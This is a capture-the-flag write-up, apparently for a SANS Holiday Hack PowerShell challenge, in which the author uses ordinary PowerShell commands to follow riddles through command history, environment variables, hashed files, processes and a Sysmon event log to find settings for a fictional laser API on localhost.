<p>Well fa la la la la, what the heck did the attacker do to the laser? It seems that he’s leaving us clues by using riddles. Initially the one thing that stands out to me is the following line - “<em>Could commands hold riddles in hist’ry?</em>”</p>
<p>Commands in history? Well since this is PowerShell, we can actually see what commands were previously executed, just like in Linux. If you’re not familiar with PowerShell, Sparkle gave us a hint to read the <a href="https://blogs.sans.org/pen-testing/files/2016/05/PowerShellCheatSheet_v41.pdf">SANS’ PowerShell Cheat Sheet</a> which should help us out a bit.</p>
<p>In PowerShell, we can use the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-history?view=powershell-7">Get-History</a> command to see previous command input.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span>Get-History
<span class="go">Id CommandLine
-- -----------
1 Get-Help -Name Get-Process
2 Get-Help -Name Get-*
3 Set-ExecutionPolicy Unrestricted
</span><span class="gp"> 4 Get-Service | ConvertTo-HTML -Property Name, Status ></span><span class="w"> </span>C:<span class="se">\s</span>ervices.htm
<span class="go"> 5 Get-Service | Export-CSV c:\service.csv
6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv
7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
8 Get-EventLog -Log "Application"
9 I have many name=value variables that I share to applications system wide. At a command I w…
10 type /home/callingcard.txt
</span></code></pre></div></div>
<p>Nice, so we got a list of the command history! Right away, in #7 we can see that an API call was made to change the angle of the laser - <code class="language-plaintext highlighter-rouge">(Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent</code>. So let’s save that command for later user.</p>
<p>Also, in #9 we see a continuation of the riddle… but it’s cut off. So what we can do is select that specific history ID, and then use the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/format-list?view=powershell-7">Format-List</a> function to format the list/long line of text for better readability. We can also use <code class="language-plaintext highlighter-rouge">fl</code> as a short hand for Format-List, as seen below.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span>Get-History <span class="nt">-Id</span> 9 | fl
<span class="go">
Id : 9
CommandLine : I have many name=value variables that I share to applications system wide.
At a command I will reveal my secrets once you Get my Child Items.
ExecutionStatus : Completed
StartExecutionTime : 11/29/19 4:57:16 PM
EndExecutionTime : 11/29/19 4:57:16 PM
Duration : 00:00:00.6090308
</span></code></pre></div></div>
<p>So the next riddle states that there are many <code class="language-plaintext highlighter-rouge">name=value</code> variables which are shared system wide, and that we need to <code class="language-plaintext highlighter-rouge">Get Child Items</code>. Well for the child items, I know that we will need to use the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-childitem?view=powershell-7">Get-ChildItem</a> function from powershell, but against what?</p>
<p>Well if we think about <code class="language-plaintext highlighter-rouge">name=value</code> parameters that are shared system wide, then I’m directly thinking of <a href="https://en.wikipedia.org/wiki/Environment_variable">environmental variables</a>. By looking into the powershell <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_environment_variables?view=powershell-7">environmental variables manual</a>, we see that the variables can be listed by using <code class="language-plaintext highlighter-rouge">Env:</code>.</p>
<p>So let’s go ahead and use the <code class="language-plaintext highlighter-rouge">Get-ChildItem</code> command against that to see what we can discover.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span>Get-ChildItem <span class="nt">-Path</span> Env:
<span class="go">
Name Value
---- -----
_ /bin/su
DOTNET_SYSTEM_GLOBALIZATION_I… false
HOME /home/elf
HOSTNAME 48a2ebd93d8b
LANG en_US.UTF-8
LC_ALL en_US.UTF-8
LOGNAME elf
MAIL /var/mail/elf
PATH /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bin:/usr/s…
PSModuleAnalysisCachePath /var/cache/microsoft/powershell/PSModuleAnalysisCache/ModuleAnaly…
PSModulePath /home/elf/.local/share/powershell/Modules:/usr/local/share/powers…
PWD /home/elf
RESOURCE_ID c658a4f4-8104-4d61-a3d5-bc3109ae9ff1
riddle Squeezed and compressed I am hidden away. Expand me from my priso…
SHELL /home/elf/elf
SHLVL 1
TERM xterm
USER elf
USERDOMAIN laserterminal
userdomain laserterminal
USERNAME elf
username elf
</span></code></pre></div></div>
<p>Right away we see we have a <code class="language-plaintext highlighter-rouge">riddle</code> variable with a value! Unfortunately for us… it’s cut off. So let’s go ahead and grab the values of each key, and format that for readability.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span>Get-ChildItem <span class="nt">-Path</span> Env: | <span class="k">select </span>Value | fl
<span class="go">Value : /bin/su
Value : false
Value : /home/elf
Value : 2f466e986a7f
Value : en_US.UTF-8
Value : en_US.UTF-8
Value : elf
Value : /var/mail/elf
Value : /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:
/usr/games:/usr/local/games
Value : /var/cache/microsoft/powershell/PSModuleAnalysisCache/ModuleAnalysisCache
Value : /home/elf/.local/share/powershell/Modules:/usr/local/share/powershell/Modules:/opt/micros
oft/powershell/6/Modules
Value : /home/elf
Value : 8ec19745-0332-4a36-95e2-a185d3db17a0
Value : Squeezed and compressed I am hidden away. Expand me from my prison and I will show you
the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest
of all.
Value : /home/elf/elf
Value : 1
Value : xterm
Value : elf
Value : laserterminal
Value : laserterminal
Value : elf
Value : elf
</span></code></pre></div></div>
<p>Nice, now we can read the riddle! The initial line of <code class="language-plaintext highlighter-rouge">squeezed and compressed</code> makes me think that we will be looking at some sort of archive or zip file. We learn that this is hidden away and we need to recurse through <code class="language-plaintext highlighter-rouge">/etc/</code> and sort by <a href="https://docs.microsoft.com/en-us/dotnet/api/system.io.filesysteminfo.lastwritetime?view=netframework-4.8">LastWriteTime</a> to show the newest object first, which means that we need to sort descending.</p>
<p>Let’s do just that, but since there might be a lot of data, we can use the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/select-object?view=powershell-7">Select-Object</a> function to select the top 10 results as follows.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span>Get-ChildItem <span class="nt">-Path</span> /etc/ <span class="nt">-Recurse</span> | Sort-Object LastWriteTime <span class="nt">-Descending</span> | Select-Object <span class="nt">-first</span> 10
<span class="go">
Directory: /etc/apt
Mode LastWriteTime Length Name
---- ------------- ------ ----
--r--- 1/12/20 12:32 AM 5662902 archive
Directory: /etc
Mode LastWriteTime Length Name
---- ------------- ------ ----
--r--- 1/12/20 12:32 AM 13 hostname
--r--- 1/12/20 12:32 AM 113 resolv.conf
--r--- 1/12/20 12:32 AM 175 hosts
-----l 1/12/20 12:32 AM 12 mtab
--r--- 12/13/19 5:16 PM 581 group
------ 12/13/19 5:16 PM 482 gshadow
--r--- 12/13/19 5:16 PM 575 group-
------ 12/13/19 5:16 PM 476 gshadow-
Directory: /etc/systemd/system
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 12/13/19 5:15 PM timers.target.wants
</span></code></pre></div></div>
<p>We can see that the first object is in <code class="language-plaintext highlighter-rouge">/etc/apt/archive</code>, so let’s go ahead and use the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.archive/expand-archive?view=powershell-7">Expand-Archive</a> command to uncompress the archive and then let’s view the files within it.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span>Expand-Archive <span class="nt">-LiteralPath</span> /etc/apt/archive
<span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">dir</span>
<span class="go">Directory: /home/elf
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/15/19 12:51 AM archive
d-r--- 12/13/19 5:15 PM depths
--r--- 12/13/19 4:29 PM 2029 motd
</span><span class="gp">PS /home/elf></span><span class="w"> </span>Get-ChildItem ./archive/ <span class="nt">-Recurse</span>
<span class="go">
Directory: /home/elf/archive
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/12/20 12:50 AM refraction
Directory: /home/elf/archive/refraction
Mode LastWriteTime Length Name
---- ------------- ------ ----
------ 11/7/19 11:57 AM 134 riddle
------ 11/5/19 2:26 PM 5724384 runme.elf
</span></code></pre></div></div>
<p>Right away we see we have two files in the <code class="language-plaintext highlighter-rouge">refraction</code> folder within the archive. First is the riddle, and then there is a <code class="language-plaintext highlighter-rouge">runme.elf</code> file, which I’m guessing we need to run.</p>
<p>Unfortunately, we can’t just call the file directly to execute it like we do in linux because we will get an error like so:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">cd</span> ./archive/refraction/
<span class="gp">PS /home/elf/archive/refraction></span><span class="w"> </span>./runme.elf
<span class="go">Program 'runme.elf' failed to run: No such file or directoryAt line:1 char:1
+ ./runme.elf
+ ~~~~~~~~~~~.
At line:1 char:1
+ ./runme.elf
+ ~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
</span></code></pre></div></div>
<p>We can simply fix this and give execution privileges to the file by using <a href="https://www.computerhope.com/unix/uchmod.htm">chmod</a>, and then executing the file.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf/archive/refraction></span><span class="w"> </span><span class="nb">chmod</span> +x ./runme.elf
<span class="gp">PS /home/elf/archive/refraction></span><span class="w"> </span>./runme.elf
<span class="go">refraction?val=1.867
</span></code></pre></div></div>
<p>Boom, and there we go! We got the next value for the laser, and it’s the refraction value. Since we have that, let’s read that riddle file inside the archive.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">type</span> ./archive/refraction/riddle
<span class="go">Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity:
25520151A320B5B0D21561F92C8F6224
</span></code></pre></div></div>
<p>Alright, so it seems that this file is in a directory called <code class="language-plaintext highlighter-rouge">depths</code>, which is in our home directory as we’ve seen previously. We are also provided an md5 sum, so we would need to hash each file and compare it to the provided identity.</p>
<p>The command I used for this portion of the challenge was a little complex, so I highly suggest you Google around for what it does if you’re confused.</p>
<p>Simply what I do is recurse the <code class="language-plaintext highlighter-rouge">depths</code> directory to a level of 3, and then I select only necessary objects from the listing; such as the directory name, name of the file, last write time, and file length. Then what we do is create a new <a href="https://stackoverflow.com/questions/30200655/what-does-the-n-and-e-represent-in-this-select-statement">calculated property</a> as seen by the <code class="language-plaintext highlighter-rouge">@{}</code> statement.</p>
<p>We call the calculated property <code class="language-plaintext highlighter-rouge">FileHash</code> and set the value as seen by <code class="language-plaintext highlighter-rouge">E=</code> to an MD5 sum hash. We then write all of this data to a file called <code class="language-plaintext highlighter-rouge">hash</code>.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span>Get-ChildItem <span class="nt">-Path</span> ./depths/ <span class="nt">-File</span> <span class="nt">-Recurse</span> <span class="nt">-Depth</span> 3 | Select DirectoryName,Name,LastWriteTime,Length,@<span class="o">{</span><span class="nv">N</span><span class="o">=</span><span class="s1">'FileHash'</span><span class="p">;</span><span class="nv">E</span><span class="o">={(</span>Get-FileHash <span class="nt">-Algorithm</span> MD5 <span class="nv">$_</span><span class="o">)</span>.Hash<span class="o">}}</span> <span class="o">>></span> <span class="nb">hash</span>
</code></pre></div></div>
<p>Once we have that, we can see if the md5 sum provided to us is in that file. If the md5 sum is in fact in the file, then we can select that pattern and tell it to print 5 line before and after that value, as seen below.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">type</span> ./hash | Select-String <span class="nt">-Pattern</span> <span class="s2">"25520151A320B5B0D21561F92C8F6224"</span>
<span class="go">FileHash : 25520151A320B5B0D21561F92C8F6224
</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">type</span> ./hash | Select-String <span class="nt">-Pattern</span> <span class="s2">"25520151A320B5B0D21561F92C8F6224"</span> <span class="nt">-Context</span> 5
<span class="go">
DirectoryName : /home/elf/depths/produce
Name : thhy5hll.txt
LastWriteTime : 11/18/19 7:53:25 PM
Length : 224
</span><span class="gp">></span><span class="w"> </span>FileHash : 25520151A320B5B0D21561F92C8F6224
<span class="go">
DirectoryName : /home/elf/depths/produce
Name : us04zoj3.txt
LastWriteTime : 11/18/19 7:53:25 PM
Length : 79
</span></code></pre></div></div>
<p>Nice, so the file with the same hash is located in <code class="language-plaintext highlighter-rouge">/home/elf/depths/produce/thhy5hll.txt</code>. So let’s go ahead and read it.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">type</span> /home/elf/depths/produce/thhy5hll.txt
<span class="go">temperature?val=-33.5
I am one of many thousand similar txts contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullName's to Sort Length.
</span></code></pre></div></div>
<p>And there we have it, the next part of the API, this time we get the temperature value!</p>
<p>After reading the next part of the riddle, we see that our next answer lies in a text file hidden in the <code class="language-plaintext highlighter-rouge">depths</code> directory again. It also says that we need to get the full file path and sort by its length.</p>
<p>So, as before, let’s recurse the <code class="language-plaintext highlighter-rouge">depths</code> directory, select the full name, and it’s length by creating a new calculated property, and finally let’s sort by that property to get the largest value.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span>Dir ./depths/ <span class="nt">-file</span> <span class="nt">-recurse</span> | <span class="k">select </span>Fullname,@<span class="o">{</span><span class="nv">Name</span><span class="o">=</span>”NameLength”<span class="p">;</span><span class="nv">Expression</span><span class="o">={</span><span class="nv">$_</span>.fullname.length<span class="o">}}</span> | <span class="nb">sort </span>NameLength <span class="nt">-Descending</span> | fl <span class="o">>></span> sort.txt
</code></pre></div></div>
<p>Once we have all that piped out to a file, let’s just select the first 10 items.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">type</span> ./sort.txt | <span class="k">select</span> <span class="nt">-first</span> 10
<span class="go">
FullName : /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
NameLength : 388
FullName : /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/u41dl1fz.txt
NameLength : 384
FullName : /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/s40exptd.txt
NameLength : 384
</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">type</span> /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
<span class="go">Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:
bushy
alabaster
minty
holly
Do this for me and then you /shall/see .
</span></code></pre></div></div>
<p>Nice, right away we can see that the first file contains our riddle! For this portion of the riddle it seems that we need to kill a process in a specific order. Once done we should get something in a directory called <code class="language-plaintext highlighter-rouge">/shall/see</code>.</p>
<p>So for this, we can simply use <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7">Get-Process</a> to see what current running processes we have. We can also pass the <code class="language-plaintext highlighter-rouge">-IncludeUserName</code> option so we can see the users who own those processes, since we have to kill them per user in the specific order.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span>Get-Process <span class="nt">-IncludeUserName</span>
<span class="go">
WS(M) CPU(s) Id UserName ProcessName
----- ------ -- -------- -----------
28.65 2.00 6 root CheerLaserServi
122.60 9.01 31 elf elf
3.52 0.03 1 root init
0.81 0.00 25 bushy sleep
0.73 0.00 26 alabaster sleep
0.80 0.00 27 minty sleep
0.83 0.00 29 holly sleep
3.50 0.00 30 root su
</span></code></pre></div></div>
<p>Alright, so now we need to kill the process’ in the order specified. We can do this by using the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/stop-process?view=powershell-7">Stop-Process</a> function.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span>Stop-Process <span class="nt">-Id</span> 25
<span class="gp">PS /home/elf></span><span class="w"> </span>Stop-Process <span class="nt">-Id</span> 26
<span class="gp">PS /home/elf></span><span class="w"> </span>Stop-Process <span class="nt">-Id</span> 27
<span class="gp">PS /home/elf></span><span class="w"> </span>Stop-Process <span class="nt">-Id</span> 29
<span class="gp">PS /home/elf></span><span class="w"> </span>Get-Process <span class="nt">-IncludeUserName</span>
<span class="go">
WS(M) CPU(s) Id UserName ProcessName
----- ------ -- -------- -----------
27.04 2.15 6 root CheerLaserServi
129.80 9.46 31 elf elf
3.52 0.03 1 root init
3.50 0.00 30 root su
</span></code></pre></div></div>
<p>With the processes killed, let’s see if that directory contains anything… or if it even exists.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">dir</span> /shall/see
<span class="go">
Directory: /shall
Mode LastWriteTime Length Name
---- ------------- ------ ----
--r--- 1/12/20 1:23 AM 149 see
</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">type</span> /shall/see
<span class="go">Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the Properties of the lonely unique event Id.
</span></code></pre></div></div>
<p>Another riddle? Geez, how much more are there?! Okay, so for this riddle we need to recurse the <code class="language-plaintext highlighter-rouge">/etc/</code> path again and look for an XML file. Once that’s done, we need to group all of the <code class="language-plaintext highlighter-rouge">.Id's</code> in the XML file, and whatever stands out, will be our next clue.</p>
<p>Okay, so let’s find that XML file first.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span>Get-ChildItem <span class="nt">-Path</span> /etc/ <span class="nt">-File</span> <span class="nt">-Recurse</span> <span class="nt">-Include</span> <span class="k">*</span>.xml
<span class="go">
Directory: /etc/systemd/system/timers.target.wants
Mode LastWriteTime Length Name
---- ------------- ------ ----
--r--- 11/18/19 7:53 PM 10006962 EventLog.xml
</span></code></pre></div></div>
<p>After running the search, we see that the XML file in question is that of Windows Event Logs, and that might mean that the ID’s are actually windows event ID’s!</p>
<p>Right, so by using some complex powershell commands, let’s parse this XML file, and see what kind of objects are contained within in.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="o">[</span>xml]<span class="nv">$xml</span> <span class="o">=</span> Get-Content <span class="nt">-Path</span> /etc/systemd/system/timers.target.wants/EventLog.xml
<span class="gp">PS /home/elf></span><span class="w"> </span><span class="nv">$xml</span>
<span class="go">
Objs
----
Objs
</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nv">$xml</span>.Objs
<span class="go">
Version xmlns Obj
------- ----- ---
1.1.0.1 http://schemas.microsoft.com/powershell/2004/04 {Obj, Obj, Obj, Obj…}
</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">type</span> /etc/systemd/system/timers.target.wants/EventLog.xml | <span class="k">select</span> <span class="nt">-first</span> 20
<span class="gp"><Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"></span><span class="w">
</span><span class="gp"> <Obj RefId="0"></span><span class="w">
</span><span class="gp"> <TN RefId="0"></span><span class="w">
</span><span class="gp"> <T></span>System.Diagnostics.Eventing.Reader.EventLogRecord</T>
<span class="gp"> <T></span>System.Diagnostics.Eventing.Reader.EventRecord</T>
<span class="gp"> <T></span>System.Object</T>
<span class="gp"> </TN></span><span class="w">
</span><span class="gp"> <ToString></span>System.Diagnostics.Eventing.Reader.EventLogRecord</ToString>
<span class="gp"> <Props></span><span class="w">
</span><span class="gp"> <I32 N="Id"></span>3</I32>
<span class="gp"> <By N="Version"></span>5</By>
<span class="gp"> <Nil N="Qualifiers" /></span><span class="w">
</span><span class="gp"> <By N="Level"></span>4</By>
<span class="gp"> <I32 N="Task"></span>3</I32>
<span class="gp"> <I16 N="Opcode"></span>0</I16>
<span class="gp"> <I64 N="Keywords"></span><span class="nt">-9223372036854775808</span></I64>
<span class="gp"> <I64 N="RecordId"></span>2194</I64>
<span class="gp"> <S N="ProviderName"></span>Microsoft-Windows-Sysmon</S>
<span class="gp"> <G N="ProviderId"></span>5770385f-c22a-43e0-bf4c-06f5698ffbd9</G>
<span class="gp"> <S N="LogName"></span>Microsoft-Windows-Sysmon/Operational</S>
</code></pre></div></div>
<p>Seemingly I was right, these are event ID’s associated with <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon">Sysmon</a>. Okay, so we need to find that “lonely” event ID. So let’s iterate through each <code class="language-plaintext highlighter-rouge">Id</code> and group these Id object by using the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/group-object?view=powershell-7">Group-Object</a> function.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">type</span> /etc/systemd/system/timers.target.wants/EventLog.xml | Select-String <span class="nt">-Pattern</span> <span class="s1">'N="Id"'</span> | Group-Object
<span class="go">
Count Name Group
----- ---- -----
</span><span class="gp"> 1 <I32 N="Id"></span>1</I32> <span class="o">{</span> <I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>1</I32><span class="o">}</span>
<span class="gp"> 39 <I32 N="Id"></span>2</I32> <span class="o">{</span> <I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>2</I32>, <I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>2</I32>, <I3…
<span class="gp"> 179 <I32 N="Id"></span>3</I32> <span class="o">{</span> <I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>3</I32>, <I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>3</I32>, <I3…
<span class="gp"> 2 <I32 N="Id"></span>4</I32> <span class="o">{</span> <I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>4</I32>, <I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>4</I32><span class="o">}</span>
<span class="gp"> 905 <I32 N="Id"></span>5</I32> <span class="o">{</span> <I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>5</I32>, <I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>5</I32>, <I3…
<span class="gp"> 98 <I32 N="Id"></span>6</I32> <span class="o">{</span> <I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>6</I32>, <I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>6</I32>, <I3…
</code></pre></div></div>
<p>Right away I can see that the lonely event Id is that of “1”. So, let’s grab that event ID and print the first 150 lines directly after it.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="nb">type</span> /etc/systemd/system/timers.target.wants/EventLog.xml | Select-String <span class="nt">-Pattern</span> <span class="s1">'N="Id">1<'</span> <span class="nt">-Context</span> 0, 150
<span class="go">
</span><span class="gp">></span><span class="w"> </span><I32 <span class="nv">N</span><span class="o">=</span><span class="s2">"Id"</span><span class="o">></span>1</I32>
<span class="gp"> <By N="Version"></span>5</By>
<span class="gp"> <Nil N="Qualifiers" /></span><span class="w">
</span><span class="gp"> <By N="Level"></span>4</By>
<span class="gp"> <I32 N="Task"></span>1</I32>
<span class="gp"> <I16 N="Opcode"></span>0</I16>
<span class="gp"> <I64 N="Keywords"></span><span class="nt">-9223372036854775808</span></I64>
<span class="gp"> <I64 N="RecordId"></span>2422</I64>
<span class="gp"> <S N="ProviderName"></span>Microsoft-Windows-Sysmon</S>
<span class="gp"> <G N="ProviderId"></span>5770385f-c22a-43e0-bf4c-06f5698ffbd9</G>
<span class="gp"> <S N="LogName"></span>Microsoft-Windows-Sysmon/Operational</S>
<span class="gp"> <I32 N="ProcessId"></span>1960</I32>
<span class="gp"> <I32 N="ThreadId"></span>6640</I32>
<span class="gp"> <S N="MachineName"></span>elfuresearch</S>
<span class="go"> ---snip---
</span><span class="gp"> <TNRef RefId="1806" /></span><span class="w">
</span><span class="gp"> <ToString></span>System.Diagnostics.Eventing.Reader.EventProperty</ToString>
<span class="gp"> <Props></span><span class="w">
</span><span class="gp"> <S N="Value"></span>PowerShell.EXE</S>
<span class="gp"> </Props></span><span class="w">
</span><span class="gp"> </Obj></span><span class="w">
</span><span class="gp"> <Obj RefId="18016"></span><span class="w">
</span><span class="gp"> <TNRef RefId="1806" /></span><span class="w">
</span><span class="gp"> <ToString></span>System.Diagnostics.Eventing.Reader.EventProperty</ToString>
<span class="gp"> <Props></span><span class="w">
</span><span class="gp"> <S N="Value"></span>C:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\W</span>indowsPowerShell<span class="se">\v</span>1.0<span class="se">\p</span>owershell.exe <span class="nt">-c</span>
<span class="gp">"`$</span>correct_gases_postbody <span class="o">=</span> @<span class="o">{</span><span class="sb">`</span>n <span class="nv">O</span><span class="o">=</span>6<span class="sb">`</span>n <span class="nv">H</span><span class="o">=</span>7<span class="sb">`</span>n <span class="nv">He</span><span class="o">=</span>3<span class="sb">`</span>n <span class="nv">N</span><span class="o">=</span>4<span class="sb">`</span>n <span class="nv">Ne</span><span class="o">=</span>22<span class="sb">`</span>n <span class="nv">Ar</span><span class="o">=</span>11<span class="sb">`</span>n
<span class="gp">Xe=10`n F=20`n Kr=8`n Rn=9`n}`n"</S></span><span class="w">
</span><span class="gp"> </Props></span><span class="w">
</span><span class="gp"> </Obj></span><span class="w">
</span><span class="gp"> <Obj RefId="18017"></span><span class="w">
</span><span class="gp"> <TNRef RefId="1806" /></span><span class="w">
</span><span class="gp"> <ToString></span>System.Diagnostics.Eventing.Reader.EventProperty</ToString>
<span class="gp"> <Props></span><span class="w">
</span><span class="gp"> <S N="Value"></span>C:<span class="se">\<</span>/S>
<span class="gp"> </Props></span><span class="w">
</span><span class="gp"> </Obj></span><span class="w">
</span><span class="gp"> <Obj RefId="18018"></span><span class="w">
</span><span class="gp"> <TNRef RefId="1806" /></span><span class="w">
</span></code></pre></div></div>
<p>If we dig through this event log, we should see toward the end the correct gasses used for the laser! If we clean it up we get something like this: <code class="language-plaintext highlighter-rouge">O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9</code>.</p>
<p>Nice! Now that we finally have all the settings we need, let’s go ahead and update the laser using the API.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS /home/elf></span><span class="w"> </span><span class="o">(</span>Invoke-WebRequest <span class="o">[</span>http://127.0.0.1:1225/api/off<span class="o">)</span>.RawContent]<span class="o">(</span>http://127.0.0.1:1225/api/off<span class="o">)</span>.RawContent<span class="o">)</span>
<span class="go">HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Mon, 16 Dec 2019 02:34:20 GMT
</span><span class="gp">Content-Type: text/html;</span><span class="w"> </span><span class="nv">charset</span><span class="o">=</span>utf-8
<span class="go">Content-Length: 33
Christmas Cheer Laser Powered Off
</span><span class="gp">PS /home/elf></span><span class="w"> </span><span class="o">(</span>Invoke-WebRequest <span class="o">[</span>http://127.0.0.1:1225/api/angle?val<span class="o">=</span>65.5<span class="o">)</span>.RawContent]<span class="o">(</span>http://127.0.0.1:1225/api/angle?val<span class="o">=</span>65.5<span class="o">)</span>.RawContent<span class="o">)</span>
<span class="go">HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Date: Mon, 16 Dec 2019 02:34:29 GMT
</span><span class="gp">Content-Type: text/html;</span><span class="w"> </span><span class="nv">charset</span><span class="o">=</span>utf-8
<span class="go">Content-Length: 77
Updated Mirror Angle - Check /api/output if 5 Mega-Jollies per liter reached.
